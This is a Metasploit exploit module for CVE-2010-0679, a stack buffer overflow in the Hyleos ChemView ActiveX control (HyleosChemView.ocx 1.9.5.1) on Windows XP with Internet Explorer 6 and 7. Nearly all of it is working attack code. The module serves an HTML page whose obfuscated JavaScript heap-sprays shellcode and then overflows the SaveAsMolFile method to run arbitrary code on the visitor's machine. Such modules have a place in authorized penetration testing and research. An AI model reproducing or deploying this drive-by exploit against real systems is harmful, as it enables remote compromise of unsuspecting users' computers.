This Metasploit module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods with an overly long first argument, an attacker can overrun a buffer and execute arbitrary code.
e26ab2a5222c307d647627ec82c5fdecaea972d112ff93a4e71a4e9cde863488##
# $Id: hyleos_chemviewx_activex.rb 9935 2010-07-27 02:25:15Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking # heap spray :-/
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos
ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods
with an overly long first argument, an attacker can overrun a buffer and execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory
'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module
'jduck' # converted HttpServer module
],
'Version' => '$Revision: 9935 $',
'References' =>
[
[ 'CVE', '2010-0679' ],
[ 'OSVDB', '62276' ],
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
[ 'URL', 'http://www.exploit-db.com/exploits/11422/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
],
'DisclosureDate' => 'Feb 10 2010',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"
progid = "HyleosChemView.HLChemView"
methods = [ "ReadMolFile", "SaveAsMolFile" ]
method = methods[rand(methods.length)]
method = "SaveAsMolFile"
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# It may be possible to create a more robust exploit, however --
# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)
# 2. The buffer overflow does not appear to be entirely straight forward.
# Encode the shellcode
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape([target.ret].pack('V'))
ret = Rex::Text.uri_encode([target.ret].pack('L'))
blocksize = 0x40000
fillto = 300
offset = target['Offset']
# Randomize the javascript variable names
chemview = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_ret = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
content = %Q|<html>
<object classid='clsid:#{clsid}' id='#{chemview}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{chemview}.#{method}(#{j_ret});
</script>
</html>|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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